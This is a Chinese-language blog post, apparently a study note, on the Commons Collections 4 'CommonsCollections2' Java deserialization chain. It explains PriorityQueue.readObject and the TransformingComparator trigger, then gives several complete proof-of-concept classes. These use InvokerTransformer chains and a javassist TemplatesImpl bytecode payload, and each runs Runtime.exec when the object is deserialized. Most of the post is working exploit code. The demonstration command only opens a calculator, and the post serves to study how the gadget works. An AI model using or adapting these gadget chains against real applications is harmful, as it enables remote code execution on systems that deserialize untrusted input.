0x01 POC RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;public class CommonsCollections2 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "open -a /System/Applications/Calculator.app" }), }; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Comparator comparator = new TransformingComparator (transformerChain); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(1 ); queue.add(2 ); setFieldValue(transformerChain, "iTransformers" , transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;public class run { public static void main (String[] args) { try { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("CommonsCollections22" ); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes = payload.toBytecode(); Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class []{}).newInstance(); Field field = templatesImpl.getClass().getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templatesImpl, new byte [][]{bytes}); Field field1 = templatesImpl.getClass().getDeclaredField("_name" ); field1.setAccessible(true ); field1.set(templatesImpl, "test" ); InvokerTransformer transformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); TransformingComparator comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 ); queue.add(2 ); queue.add(1 ); Field field2 = queue.getClass().getDeclaredField("comparator" ); field2.setAccessible(true ); field2.set(queue, comparator); Field field3 = queue.getClass().getDeclaredField("queue" ); field3.setAccessible(true ); field3.set(queue, new Object []{templatesImpl, templatesImpl}); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (baos); out.writeObject(queue); out.flush(); byte [] bytes2 = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream (bytes2); ObjectInputStream in = new ObjectInputStream (bais); in.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
0x02 原理 PriorityQueue的readObject重写函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
在heapify函数中
若此处的比较器为TransformingComparator
类型,即可进行反射。
0x03 编写POC
根据PriorityQueue
和TransformingComparator
的构造函数定义,我们可以将PriorityQueue
的Comparator
定义为TransformingComparator
那么编写思路:
构造ChainedTransformer
恶意类
以ChainedTransformer
恶意类作为输入调用TransformingComparator
构造函数,构造恶意Comparator
创建带有该恶意比较器Comparator
的优先队列PriorityQueue
添加两个元素
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.util.Comparator;import java.util.PriorityQueue;public class CCTest { public static ChainedTransformer getChainedTransformer () { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]} ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{ null , new Object [0 ] } ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" } ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); return chainedTransformer; } public static void main (String[] args) throws ClassNotFoundException, IOException { ChainedTransformer chainedTransformer = getChainedTransformer(); TransformingComparator comparator = new TransformingComparator (chainedTransformer); PriorityQueue queue = new PriorityQueue (2 ,comparator); queue.add(1 ); queue.add(2 ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr.size()); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); ois.readObject(); } }
这样写,发现在队列中添加第二个元素时,Comparator比较器工作会报错,具体报错如下
1 2 3 4 5 6 7 8 Exception in thread "main" java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Comparable at org.apache.commons.collections4.comparators.ComparableComparator.compare(ComparableComparator.java:42 ) at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:83 ) at java.util.PriorityQueue.siftUpUsingComparator(PriorityQueue.java:670 ) at java.util.PriorityQueue.siftUp(PriorityQueue.java:646 ) at java.util.PriorityQueue.offer(PriorityQueue.java:345 ) at java.util.PriorityQueue.add(PriorityQueue.java:322 ) at CCTest.main(CCTest.java:40 )
新的编写思路:
构造Transformer[]
恶意Transformer
列表
构造一个正常的ChainedTransformer
作为输入调用TransformingComparator
构造函数,构造可用的Comparator
创建带有该比较器Comparator
的优先队列PriorityQueue
添加两个元素
修改ChainedTransformer
中的iTransformers
为恶意Transformer
列表
那么如何构造一个正常的TransformingComparator
具体TransformingComparator
中执行compare逻辑的函数,由于TransformingComparator
中的Transformer
必须是ChainedTransformer
类型,所以此处的transform
函数逻辑如下:
只要能返回相同的Object
,就可以正常执行compare函数,下面给出一些例子
1 2 3 4 5 6 7 8 9 10 11 12 13 ChainedTransformer fakChainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (1 ) });ChainedTransformer fakChainedTransformer = new ChainedTransformer (new Transformer []{ new InvokerTransformer ( "hashCode" , new Class []{}, new Object []{} ) });
那么就可以构造出正确的PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;public class CCTest { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static Transformer[] getTransformers(){ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]} ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{ null , new Object [0 ] } ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" } ) }; return transformers; } public static void main (String[] args) throws Exception { ChainedTransformer fakChainedTransformer = new ChainedTransformer (new Transformer []{new ConstantTransformer ("1" )}); Transformer[] transformers = getTransformers(); TransformingComparator comparator = new TransformingComparator (fakChainedTransformer); PriorityQueue queue = new PriorityQueue (2 ,comparator); queue.add(1 ); queue.add(2 ); setFieldValue(fakChainedTransformer,"iTransformers" ,transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr.size()); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); ois.readObject(); } }
0x04 参考 http://wjlshare.com/archives/1509
https://myzxcg.com/2021/10/Ysoserial-利用链分析/#commons-collections2